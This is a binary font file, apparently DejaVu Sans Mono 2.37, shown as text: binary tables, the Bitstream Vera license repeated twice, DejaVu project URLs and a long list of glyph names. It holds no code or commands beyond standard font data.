�@�� p�(\��t<�p�t�����8`��<L`t���Tx���t�\���0\t���X�   � �!l!�"|#$$�%l&`&�'$'�(T(l(�(�(�))\)�*$*l*�*�+8+�,d,�-t-�.,.�.�/(/�/�00h0�141�1�2D2�3 3�4H4�585|66�6�6�7d7�8`8�9X9�::L:�;$;x;�<D<�=8=�=�>L>�>�?x?�@ @DAA�B�C<C�D�E�F�G8G�G�H HXH�H�H�H�I ILI�I�JJPJ�J�J�K$K�K�LLxL�M@M�M�NNhN�OhO�PPP�P�Q8Q�R8R�S|S�S�S�TT,TTT�T�T�UU(UHUpU�U�U�VV\VlV�V�WLX4XXX|X�X�X�Y4Y�Y�Z(Z�_,_�_�_�``X`�aaa�b,bDb|b�b�c clc�c�dDd�d�epe�e�f<f�f�gDg�g�hh`h�i ihi�i�i�jjj0j�j�j�j�k0ktk�k�k�lLl�l�l�mm�nxn�oo�o�pppp�p�p�p�p�p�qqq`q�r�s�ttu�vHv�wtw�w�w�x,xdx�x�x�x�yy<yXyxy�zz<zXz�z�{{8{�{�{�||,|H|d|�|�}}D}|}�~~P~t~�~�~�(Lp������<�\���������(�P���������$�P�|������(�P�|�������$�P�x��������D�p�������(�\�������,�d������@�t������4�`��������4�`������� �L�x������8�h������D�������(�\������X������D�t��������(�D�`�|����������@�h�|����������$�@�\�x���������� �4���d�,�@�T�p������������0�H�l������ �x�������������H�d���������$�@�l����������@�\����������0�X�t�������4����x�p�$����d����h����D�l��� �p����� �L�x�����8�P�h������4�\������8������X��������p��������0�\�x�����������|����\���D����8���ì���\���(ƀ��`Ȕ�`�$ʼ�T���ͤ�h���T�l����d���\��D����8���\��t�0�����0�������l���p�����|����P���$�l����D�l��(�D�X�h�����l�0�������������D������h�,|�` ��	�
4��PD�L�<���<��l�  !H"\##�$ % &�)�+,+�+�,$,l.0/�1�5@6�8�99�<`=�?,@(ATB4B�CC�C�DD�E�FDFxF�F�G(G�G�H�IpJ,K�MtP�Q4Q�R\R�S�T<T�U0U�VV\V�W WxX(XlX�YYtZ [�]�_aDb�e�k�moTpp�q�st�u�w0xtx�y yTy�y�zz(zDz`z�z�z�z�{�|�}X}�~Tt�X���0�l�������$�L�t�������P������H�t���H�p�����8�`�������8�������(�l����T�����H���X�����P�����4������������t����4�h��������� �T�����$�T�������<�����������$�L�x�������0�d��������<�l�����p���`�����`�����,�|����,���,�������� �@�P�x��������@�h��������� �D�h��������8�L������4��������8�h�x����\����������4�L�d�|������������$�<�T�l��������������,�D�\�t�������������4�L�d�|������������$�<�T�l��������������$����������(�@�P���������l���������4�D�\�l�������������(�8�P�`�x�������������0�H�`�x�����������4�L�d�|������������$�<�T�l�������D���0�H�`�x������ �8�H�����������D������,�D�T�$���D�\�t�������,���� �8�P�h�x�$�|��$�<�T�lÄÜô�������,�<��t��ƀƸ��Ǭ�0������� �0ɨ�d���˘˨�L�d�|̬̔��������$�<͐������Έ��������� �0�@�P�`�pπϐϠϰ���������� �0�@�P�`�pЀАРа���������� �0�@�P�`�pрѐѠѰ���������� �0�@�P�`�pҀҐҠҰ���T���Ր�֠����`׌���؀ج������H�pو٬���P��ۈ�L��4�Xݐݰ��� ެ�߰�������0�H���p�������
1+k�W_�B]���
@�
	��4�	�	  	S	 b	 �	�	�	"	:R	
&�	hhCopyright (c) 2003 by Bitstream, Inc. All Rights Reserved.
DejaVu changes are in public domain
Copyright (c) 2003 by Bitstream, Inc. All Rights Reserved.
DejaVu changes are in public domain
DejaVu Sans MonoDejaVu Sans MonoBookBookDejaVu Sans MonoDejaVu Sans MonoDejaVu Sans MonoDejaVu Sans MonoVersion 2.37Version 2.37DejaVuSansMonoDejaVuSansMonoDejaVu fonts teamDejaVu fonts teamhttp://dejavu.sourceforge.nethttp://dejavu.sourceforge.netFonts are (c) Bitstream (see below). DejaVu changes are in public domain.

Bitstream Vera Fonts Copyright
------------------------------

Copyright (c) 2003 by Bitstream, Inc. All Rights Reserved. Bitstream Vera is a trademark of Bitstream, Inc.

Permission is hereby granted, free of charge, to any person obtaining a copy of the fonts accompanying this license ("Fonts") and associated documentation files (the "Font Software"), to reproduce and distribute the Font Software, including without limitation the rights to use, copy, merge, publish, distribute, and/or sell copies of the Font Software, and to permit persons to whom the Font Software is furnished to do so, subject to the following conditions:

The above copyright and trademark notices and this permission notice shall be included in all copies of one or more of the Font Software typefaces.

The Font Software may be modified, altered, or added to, and in particular the designs of glyphs or characters in the Fonts may be modified and additional glyphs or  or characters may be added to the Fonts, only if the fonts are renamed to names not containing either the words "Bitstream" or the word "Vera".

This License becomes null and void to the extent applicable to Fonts or Font Software that has been modified and is distributed under the "Bitstream Vera" names.

The Font Software may be sold as part of a larger software package but no copy of one or more of the Font Software typefaces may be sold by itself.

THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL BITSTREAM OR THE GNOME FOUNDATION BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE FONT SOFTWARE.

Except as contained in this notice, the names of Gnome, the Gnome Foundation, and Bitstream Inc., shall not be used in advertising or otherwise to promote the sale, use or other dealings in this Font Software without prior written authorization from the Gnome Foundation or Bitstream Inc., respectively. For further information, contact: fonts at gnome dot org. 
Fonts are (c) Bitstream (see below). DejaVu changes are in public domain.

Bitstream Vera Fonts Copyright
------------------------------

Copyright (c) 2003 by Bitstream, Inc. All Rights Reserved. Bitstream Vera is a trademark of Bitstream, Inc.

Permission is hereby granted, free of charge, to any person obtaining a copy of the fonts accompanying this license ("Fonts") and associated documentation files (the "Font Software"), to reproduce and distribute the Font Software, including without limitation the rights to use, copy, merge, publish, distribute, and/or sell copies of the Font Software, and to permit persons to whom the Font Software is furnished to do so, subject to the following conditions:

The above copyright and trademark notices and this permission notice shall be included in all copies of one or more of the Font Software typefaces.

The Font Software may be modified, altered, or added to, and in particular the designs of glyphs or characters in the Fonts may be modified and additional glyphs or  or characters may be added to the Fonts, only if the fonts are renamed to names not containing either the words "Bitstream" or the word "Vera".

This License becomes null and void to the extent applicable to Fonts or Font Software that has been modified and is distributed under the "Bitstream Vera" names.

The Font Software may be sold as part of a larger software package but no copy of one or more of the Font Software typefaces may be sold by itself.

THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL BITSTREAM OR THE GNOME FOUNDATION BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER DEALINGS IN THE FONT SOFTWARE.

Except as contained in this notice, the names of Gnome, the Gnome Foundation, and Bitstream Inc., shall not be used in advertising or otherwise to promote the sale, use or other dealings in this Font Software without prior written authorization from the Gnome Foundation or Bitstream Inc., respectively. For further information, contact: fonts at gnome dot org. 
http://dejavu.sourceforge.net/wiki/index.php/Licensehttp://dejavu.sourceforge.net/wiki/index.php/License�~Z
1	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a�����������������������������������bc�d�e�������f����g�����h���jikmln�oqprsutvw�xzy{}|��~�������	
�
�� !"#$%&'()*+��,-./0123456789:��;<=>?@ABCDEFGHI��JKLMNOPQRS����TUVWXYZ[\]^_`abcdefghi�jklm��nopqrstuvwxyz{|}~���������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~����������������������������������������������������������������������������������������������������������������������������������������	

� !"#$%&'()*+,-./0�123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?��@AB���C���D���E�F�GHIJKLM��NOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~����������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-.�/01�23456789�:��;<=>?�@AB�CDEFGHI�JKLMNOPQRSTUVWXYZ[\�]^_`abcdefghijklmnopqrs�tuv��wxyz{|}~��������������������������������������������������������������������������������������������������������������������������������												
			
																			 	!	"	#	$	%	&	'	(	)	*	+	,	-	.	/	0	1	2	3	4	5	6	7	8	9	:	;	<	=	>	?	@	A	B	C	D	E	F	G	H	I	J	K	L	M	N	O	P	Q	R	S	T	U	V	W	X	Y	Z	[	\	]	^	_	`	a	b	c	d	e	f	g	h	i	j	k	l	m	n	o	p	q	r	s	t	u	v	w	x	y	z	{	|	}	~		�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�	�









	























 
!
"
#
$
%�
&
'
(
)
*
+
,
-
.
/
0
1
2
3
4
5
6
7
8
9
:
;
<
=
>
?
@
A
B
C
D
E
F
G
H
I
J
K
L
M
N
O
P
Q
R
S
T
U
V
W
X
Y
Z
[
\
]
^
_
`
a
b
c
d
e
f
g
h
i
j
k
l
m
n
o
p
q
r
s
t
u
v
w
x
y
z
{
|
}
~

�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�
�	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~����������������������������������������������������������������������������������������������������������������������������������	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`abcdefghijklmnopqrstuvwxyz{|}~��������������������������������������������������������������������������������������������������������������������������������









	























 
!
"
#
$
%
&
'
(
)
*
+
,
-
.
/
0
1
2	sfthyphenAmacronamacronAbreveabreveAogonekaogonekCcircumflexccircumflex
Cdotaccent
cdotaccentDcarondcaronDcroatEmacronemacronEbreveebreve
Edotaccent
edotaccentEogonekeogonekEcaronecaronGcircumflexgcircumflex
Gdotaccent
gdotaccentGcommaaccentgcommaaccentHcircumflexhcircumflexHbarhbarItildeitildeImacronimacronIbreveibreveIogonekiogonekIJijJcircumflexjcircumflexKcommaaccentkcommaaccentkgreenlandicLacutelacuteLcommaaccentlcommaaccentLcaronlcaronLdotldotNacutenacuteNcommaaccentncommaaccentNcaronncaronnapostropheEngengOmacronomacronObreveobreve
Ohungarumlaut
ohungarumlautRacuteracuteRcommaaccentrcommaaccentRcaronrcaronSacutesacuteScircumflexscircumflexTcommaaccenttcommaaccentTcarontcaronTbartbarUtildeutildeUmacronumacronUbreveubreveUringuring
Uhungarumlaut
uhungarumlautUogonekuogonekWcircumflexwcircumflexYcircumflexycircumflexZacutezacute
Zdotaccent
zdotaccentlongsuni0180uni0181uni0182uni0183uni0184uni0185uni0186uni0187uni0188uni0189uni018Auni018Buni018Cuni018Duni018Euni018Funi0190uni0191uni0193uni0194uni0195uni0196uni0197uni0198uni0199uni019Auni019Buni019Cuni019Duni019Euni019FOhornohornuni01A2uni01A3uni01A4uni01A5uni01A6uni01A7uni01A8uni01A9uni01AAuni01ABuni01ACuni01ADuni01AEUhornuhornuni01B1uni01B2uni01B3uni01B4uni01B5uni01B6uni01B7uni01B8uni01B9uni01BAuni01BBuni01BCuni01BDuni01BEuni01BFuni01C0uni01C1uni01C2uni01C3uni01CDuni01CEuni01CFuni01D0uni01D1uni01D2uni01D3uni01D4uni01D5uni01D6uni01D7uni01D8uni01D9uni01DAuni01DBuni01DCuni01DDuni01DEuni01DFuni01E0uni01E1uni01E2uni01E3Gcarongcaronuni01E8uni01E9uni01EAuni01EBuni01ECuni01EDuni01EEuni01EFuni01F0uni01F4uni01F5uni01F6uni01F8uni01F9AEacuteaeacuteOslashacuteoslashacuteuni0200uni0201uni0202uni0203uni0204uni0205uni0206uni0207uni0208uni0209uni020Auni020Buni020Cuni020Duni020Euni020Funi0210uni0211uni0212uni0213uni0214uni0215uni0216uni0217Scommaaccentscommaaccentuni021Auni021Buni021Cuni021Duni021Euni021Funi0220uni0221uni0224uni0225uni0226uni0227uni0228uni0229uni022Auni022Buni022Cuni022Duni022Euni022Funi0230uni0231uni0232uni0233uni0234uni0235uni0236dotlessjuni0238uni0239uni023Auni023Buni023Cuni023Duni023Euni023Funi0240uni0241uni0243uni0244uni0245uni024Cuni024Duni0250uni0251uni0252uni0253uni0254uni0255uni0256uni0257uni0258uni0259uni025Auni025Buni025Cuni025Duni025Euni025Funi0260uni0261uni0262uni0263uni0264uni0265uni0266uni0267uni0268uni0269uni026Auni026Buni026Cuni026Duni026Euni026Funi0270uni0271uni0272uni0273uni0274uni0275uni0276uni0277uni0278uni0279uni027Auni027Buni027Cuni027Duni027Euni027Funi0280uni0281uni0282uni0283uni0284uni0285uni0286uni0287uni0288uni0289uni028Auni028Buni028Cuni028Duni028Euni028Funi0290uni0291uni0292uni0293uni0294uni0295uni0296uni0297uni0298uni0299uni029Auni029Buni029Cuni029Duni029Euni029Funi02A0uni02A1uni02A2uni02A3uni02A4uni02A5uni02A6uni02A7uni02A8uni02A9uni02AAuni02ABuni02ACuni02ADuni02AEuni02AFuni02B0uni02B1uni02B2uni02B3uni02B4uni02B5uni02B6uni02B7uni02B8uni02B9uni02BBuni02BCuni02BDuni02BEuni02BFuni02C0uni02C1uni02C8uni02C9uni02CCuni02CDuni02CEuni02CFuni02D0uni02D1uni02D2uni02D3uni02D6uni02D7uni02DEuni02E0uni02E1uni02E2uni02E3uni02E4uni02E5uni02E6uni02E7uni02E8uni02E9uni02EEuni02F3	gravecomb	acutecombuni0302	tildecombuni0304uni0305uni0306uni0307uni0308
hookabovecombuni030Auni030Buni030Cuni030Duni030Euni030Funi0310uni0311uni0312uni0313uni0314uni0315uni0316uni0317uni0318uni0319uni031Auni031Buni031Cuni031Duni031Euni031Funi0320uni0321uni0322dotbelowcombuni0324uni0325uni0326uni0327uni0328uni0329uni032Auni032Buni032Cuni032Duni032Euni032Funi0330uni0331uni0332uni0333uni0334uni0335uni0336uni0337uni0338uni0339uni033Auni033Buni033Cuni033Duni033Euni033Funi0343uni0358uni0361uni0374uni0375uni0376uni0377uni037Auni037Buni037Cuni037Duni037Euni037Ftonos
dieresistonos
Alphatonos	anoteleiaEpsilontonosEtatonos	IotatonosOmicrontonosUpsilontonos
OmegatonosiotadieresistonosAlphaBetaGammauni0394EpsilonZetaEtaThetaIotaKappaLambdaMuNuXiOmicronPiRhoSigmaTauUpsilonPhiChiPsiIotadieresisUpsilondieresis
alphatonosepsilontonosetatonos	iotatonosupsilondieresistonosalphabetagammadeltaepsilonzetaetathetaiotakappalambdauni03BCnuxiomicronrhosigma1sigmatauupsilonphichipsiomegaiotadieresisupsilondieresisomicrontonosupsilontonos
omegatonosuni03D0theta1Upsilon1uni03D3uni03D4phi1omega1uni03D7uni03D8uni03D9uni03DAuni03DBuni03DCuni03DDuni03DEuni03DFuni03E0uni03E1uni03F0uni03F1uni03F2uni03F3uni03F4uni03F5uni03F6uni03F7uni03F8uni03F9uni03FAuni03FBuni03FCuni03FDuni03FEuni03FFuni0400uni0401uni0402uni0403uni0404uni0405uni0406uni0407uni0408uni0409uni040Auni040Buni040Cuni040Duni040Euni040Funi0410uni0411uni0412uni0413uni0414uni0415uni0416uni0417uni0418uni0419uni041Auni041Buni041Cuni041Duni041Euni041Funi0420uni0421uni0422uni0423uni0424uni0425uni0426uni0427uni0428uni0429uni042Auni042Buni042Cuni042Duni042Euni042Funi0430uni0431uni0432uni0433uni0434uni0435uni0436uni0437uni0438uni0439uni043Auni043Buni043Cuni043Duni043Euni043Funi0440uni0441uni0442uni0443uni0444uni0445uni0446uni0447uni0448uni0449uni044Auni044Buni044Cuni044Duni044Euni044Funi0450uni0451uni0452uni0453uni0454uni0455uni0456uni0457uni0458uni0459uni045Auni045Buni045Cuni045Duni045Euni045Funi0462uni0463uni0472uni0473uni0490uni0491uni0492uni0493uni0494uni0495uni0496uni0497uni0498uni0499uni049Auni049Buni04A2uni04A3uni04A4uni04A5uni04AAuni04ABuni04ACuni04ADuni04AEuni04AFuni04B0uni04B1uni04B2uni04B3uni04BAuni04BBuni04C0uni04C1uni04C2uni04C3uni04C4uni04C7uni04C8uni04CBuni04CCuni04CFuni04D0uni04D1uni04D2uni04D3uni04D4uni04D5uni04D6uni04D7uni04D8uni04D9uni04DAuni04DBuni04DCuni04DDuni04DEuni04DFuni04E0uni04E1uni04E2uni04E3uni04E4uni04E5uni04E6uni04E7uni04E8uni04E9uni04EAuni04EBuni04ECuni04EDuni04EEuni04EFuni04F0uni04F1uni04F2uni04F3uni04F4uni04F5uni04F6uni04F7uni04F8uni04F9uni0510uni0511uni051Auni051Buni051Cuni051Duni0531uni0532uni0533uni0534uni0535uni0536uni0537uni0538uni0539uni053Auni053Buni053Cuni053Duni053Euni053Funi0540uni0541uni0542uni0543uni0544uni0545uni0546uni0547uni0548uni0549uni054Auni054Buni054Cuni054Duni054Euni054Funi0550uni0551uni0552uni0553uni0554uni0555uni0556uni0559uni055Auni055Buni055Cuni055Duni055Euni055Funi0561uni0562uni0563uni0564uni0565uni0566uni0567uni0568uni0569uni056Auni056Buni056Cuni056Duni056Euni056Funi0570uni0571uni0572uni0573uni0574uni0575uni0576uni0577uni0578uni0579uni057Auni057Buni057Cuni057Duni057Euni057Funi0580uni0581uni0582uni0583uni0584uni0585uni0586uni0587uni0589uni058Auni0606uni0607uni0609uni060Auni060Cuni0615uni061Buni061Funi0621uni0622uni0623uni0624uni0625uni0626uni0627uni0628uni0629uni062Auni062Buni062Cuni062Duni062Euni062Funi0630uni0631uni0632uni0633uni0634uni0635uni0636uni0637uni0638uni0639uni063Auni0640uni0641uni0642uni0643uni0644uni0645uni0646uni0647uni0648uni0649uni064Auni064Buni064Cuni064Duni064Euni064Funi0650uni0651uni0652uni0653uni0654uni0655uni065Auni0660uni0661uni0662uni0663uni0664uni0665uni0666uni0667uni0668uni0669uni066Auni066Buni066Cuni066Duni0674uni0679uni067Auni067Buni067Euni067Funi0680uni0683uni0684uni0686uni0687uni0691uni0698uni06A4uni06A9uni06AFuni06BEuni06CCuni06F0uni06F1uni06F2uni06F3uni06F4uni06F5uni06F6uni06F7uni06F8uni06F9uni0E3Funi0E81uni0E82uni0E84uni0E87uni0E88uni0E8Auni0E8Duni0E94uni0E95uni0E96uni0E97uni0E99uni0E9Auni0E9Buni0E9Cuni0E9Duni0E9Euni0E9Funi0EA1uni0EA2uni0EA3uni0EA5uni0EA7uni0EAAuni0EABuni0EADuni0EAEuni0EAFuni0EB0uni0EB1uni0EB2uni0EB3uni0EB4uni0EB5uni0EB6uni0EB7uni0EB8uni0EB9uni0EBBuni0EBCuni0EC8uni0EC9uni0ECAuni0ECBuni0ECCuni0ECDuni10D0uni10D1uni10D2uni10D3uni10D4uni10D5uni10D6uni10D7uni10D8uni10D9uni10DAuni10DBuni10DCuni10DDuni10DEuni10DFuni10E0uni10E1uni10E2uni10E3uni10E4uni10E5uni10E6uni10E7uni10E8uni10E9uni10EAuni10EBuni10ECuni10EDuni10EEuni10EFuni10F0uni10F1uni10F2uni10F3uni10F4uni10F5uni10F6uni10F7uni10F8uni10F9uni10FAuni10FBuni10FCuni1D02uni1D08uni1D09uni1D14uni1D16uni1D17uni1D1Duni1D1Euni1D1Funi1D2Cuni1D2Duni1D2Euni1D30uni1D31uni1D32uni1D33uni1D34uni1D35uni1D36uni1D37uni1D38uni1D39uni1D3Auni1D3Buni1D3Cuni1D3Euni1D3Funi1D40uni1D41uni1D42uni1D43uni1D44uni1D45uni1D46uni1D47uni1D48uni1D49uni1D4Auni1D4Buni1D4Cuni1D4Duni1D4Euni1D4Funi1D50uni1D51uni1D52uni1D53uni1D54uni1D55uni1D56uni1D57uni1D58uni1D59uni1D5Auni1D5Buni1D62uni1D63uni1D64uni1D65uni1D77uni1D78uni1D7Buni1D85uni1D9Buni1D9Cuni1D9Duni1D9Euni1D9Funi1DA0uni1DA1uni1DA2uni1DA3uni1DA4uni1DA5uni1DA6uni1DA7uni1DA8uni1DA9uni1DAAuni1DABuni1DACuni1DADuni1DAEuni1DAFuni1DB0uni1DB1uni1DB2uni1DB3uni1DB4uni1DB5uni1DB6uni1DB7uni1DB9uni1DBAuni1DBBuni1DBCuni1DBDuni1DBEuni1DBFuni1E00uni1E01uni1E02uni1E03uni1E04uni1E05uni1E06uni1E07uni1E08uni1E09uni1E0Auni1E0Buni1E0Cuni1E0Duni1E0Euni1E0Funi1E10uni1E11uni1E12uni1E13uni1E18uni1E19uni1E1Auni1E1Buni1E1Cuni1E1Duni1E1Euni1E1Funi1E20uni1E21uni1E22uni1E23uni1E24uni1E25uni1E26uni1E27uni1E28uni1E29uni1E2Auni1E2Buni1E2Cuni1E2Duni1E30uni1E31uni1E32uni1E33uni1E34uni1E35uni1E36uni1E37uni1E38uni1E39uni1E3Auni1E3Buni1E3Cuni1E3Duni1E3Euni1E3Funi1E40uni1E41uni1E42uni1E43uni1E44uni1E45uni1E46uni1E47uni1E48uni1E49uni1E4Auni1E4Buni1E4Cuni1E4Duni1E54uni1E55uni1E56uni1E57uni1E58uni1E59uni1E5Auni1E5Buni1E5Cuni1E5Duni1E5Euni1E5Funi1E60uni1E61uni1E62uni1E63uni1E68uni1E69uni1E6Auni1E6Buni1E6Cuni1E6Duni1E6Euni1E6Funi1E70uni1E71uni1E72uni1E73uni1E74uni1E75uni1E76uni1E77uni1E78uni1E79uni1E7Cuni1E7Duni1E7Euni1E7FWgravewgraveWacutewacute	Wdieresis	wdieresisuni1E86uni1E87uni1E88uni1E89uni1E8Auni1E8Buni1E8Cuni1E8Duni1E8Euni1E8Funi1E90uni1E91uni1E92uni1E93uni1E94uni1E95uni1E96uni1E97uni1E98uni1E99uni1E9Buni1E9Funi1EA0uni1EA1uni1EACuni1EADuni1EB0uni1EB1uni1EB6uni1EB7uni1EB8uni1EB9uni1EBCuni1EBDuni1EC6uni1EC7uni1ECAuni1ECBuni1ECCuni1ECDuni1ED8uni1ED9uni1EDAuni1EDBuni1EDCuni1EDDuni1EE0uni1EE1uni1EE2uni1EE3uni1EE4uni1EE5uni1EE8uni1EE9uni1EEAuni1EEBuni1EEEuni1EEFuni1EF0uni1EF1Ygraveygraveuni1EF4uni1EF5uni1EF8uni1EF9uni1F00uni1F01uni1F02uni1F03uni1F04uni1F05uni1F06uni1F07uni1F08uni1F09uni1F0Auni1F0Buni1F0Cuni1F0Duni1F0Euni1F0Funi1F10uni1F11uni1F12uni1F13uni1F14uni1F15uni1F18uni1F19uni1F1Auni1F1Buni1F1Cuni1F1Duni1F20uni1F21uni1F22uni1F23uni1F24uni1F25uni1F26uni1F27uni1F28uni1F29uni1F2Auni1F2Buni1F2Cuni1F2Duni1F2Euni1F2Funi1F30uni1F31uni1F32uni1F33uni1F34uni1F35uni1F36uni1F37uni1F38uni1F39uni1F3Auni1F3Buni1F3Cuni1F3Duni1F3Euni1F3Funi1F40uni1F41uni1F42uni1F43uni1F44uni1F45uni1F48uni1F49uni1F4Auni1F4Buni1F4Cuni1F4Duni1F50uni1F51uni1F52uni1F53uni1F54uni1F55uni1F56uni1F57uni1F59uni1F5Buni1F5Duni1F5Funi1F60uni1F61uni1F62uni1F63uni1F64uni1F65uni1F66uni1F67uni1F68uni1F69uni1F6Auni1F6Buni1F6Cuni1F6Duni1F6Euni1F6Funi1F70uni1F71uni1F72uni1F73uni1F74uni1F75uni1F76uni1F77uni1F78uni1F79uni1F7Auni1F7Buni1F7Cuni1F7Duni1F80uni1F81uni1F82uni1F83uni1F84uni1F85uni1F86uni1F87uni1F88uni1F89uni1F8Auni1F8Buni1F8Cuni1F8Duni1F8Euni1F8Funi1F90uni1F91uni1F92uni1F93uni1F94uni1F95uni1F96uni1F97uni1F98uni1F99uni1F9Auni1F9Buni1F9Cuni1F9Duni1F9Euni1F9Funi1FA0uni1FA1uni1FA2uni1FA3uni1FA4uni1FA5uni1FA6uni1FA7uni1FA8uni1FA9uni1FAAuni1FABuni1FACuni1FADuni1FAEuni1FAFuni1FB0uni1FB1uni1FB2uni1FB3uni1FB4uni1FB6uni1FB7uni1FB8uni1FB9uni1FBAuni1FBBuni1FBCuni1FBDuni1FBEuni1FBFuni1FC0uni1FC1uni1FC2uni1FC3uni1FC4uni1FC6uni1FC7uni1FC8uni1FC9uni1FCAuni1FCBuni1FCCuni1FCDuni1FCEuni1FCFuni1FD0uni1FD1uni1FD2uni1FD3uni1FD6uni1FD7uni1FD8uni1FD9uni1FDAuni1FDBuni1FDDuni1FDEuni1FDFuni1FE0uni1FE1uni1FE2uni1FE3uni1FE4uni1FE5uni1FE6uni1FE7uni1FE8uni1FE9uni1FEAuni1FEBuni1FECuni1FEDuni1FEEuni1FEFuni1FF2uni1FF3uni1FF4uni1FF6uni1FF7uni1FF8uni1FF9uni1FFAuni1FFBuni1FFCuni1FFDuni1FFEuni2000uni2001uni2002uni2003uni2004uni2005uni2006uni2007uni2008uni2009uni200Auni2010uni2011
figuredashuni2015uni2016
underscoredbl
quotereverseduni201Funi2023uni202Funi2031minuteseconduni2034uni2035uni2036uni2037	exclamdbluni203Duni203Euni203Funi2045uni2046uni2047uni2048uni2049uni204Buni205Funi2070uni2071uni2074uni2075uni2076uni2077uni2078uni2079uni207Auni207Buni207Cuni207Duni207Euni207Funi2080uni2081uni2082uni2083uni2084uni2085uni2086uni2087uni2088uni2089uni208Auni208Buni208Cuni208Duni208Euni2090uni2091uni2092uni2093uni2094uni2095uni2096uni2097uni2098uni2099uni209Auni209Buni209Cuni20A0
colonmonetaryuni20A2lirauni20A5uni20A6pesetauni20A8uni20A9uni20AAdongEurouni20ADuni20AEuni20AFuni20B0uni20B1uni20B2uni20B3uni20B4uni20B5uni20B8uni20B9uni20BAuni20BDuni2102uni2105uni210Duni210Euni210Funi2115uni2116uni2117uni2119uni211Auni211Duni2124uni2126uni212Auni212B	estimateduni2148uni2150uni2151onethird	twothirdsuni2155uni2156uni2157uni2158uni2159uni215A	oneeighththreeeighthsfiveeighthsseveneighthsuni215Funi2189	arrowleftarrowup
arrowright	arrowdown	arrowboth	arrowupdnuni2196uni2197uni2198uni2199uni219Auni219Buni219Cuni219Duni219Euni219Funi21A0uni21A1uni21A2uni21A3uni21A4uni21A5uni21A6uni21A7arrowupdnbseuni21A9uni21AAuni21ABuni21ACuni21ADuni21AEuni21AFuni21B0uni21B1uni21B2uni21B3uni21B4carriagereturnuni21B6uni21B7uni21B8uni21B9uni21BAuni21BBuni21BCuni21BDuni21BEuni21BFuni21C0uni21C1uni21C2uni21C3uni21C4uni21C5uni21C6uni21C7uni21C8uni21C9uni21CAuni21CBuni21CCuni21CDuni21CEuni21CFarrowdblleft
arrowdblup
arrowdblrightarrowdbldownarrowdblbothuni21D5uni21D6uni21D7uni21D8uni21D9uni21DAuni21DBuni21DCuni21DDuni21DEuni21DFuni21E0uni21E1uni21E2uni21E3uni21E4uni21E5uni21E6uni21E7uni21E8uni21E9uni21EAuni21EBuni21ECuni21EDuni21EEuni21EFuni21F0uni21F1uni21F2uni21F3uni21F4uni21F5uni21F6uni21F7uni21F8uni21F9uni21FAuni21FBuni21FCuni21FDuni21FEuni21FF	universaluni2201existentialuni2204emptysetgradientelement
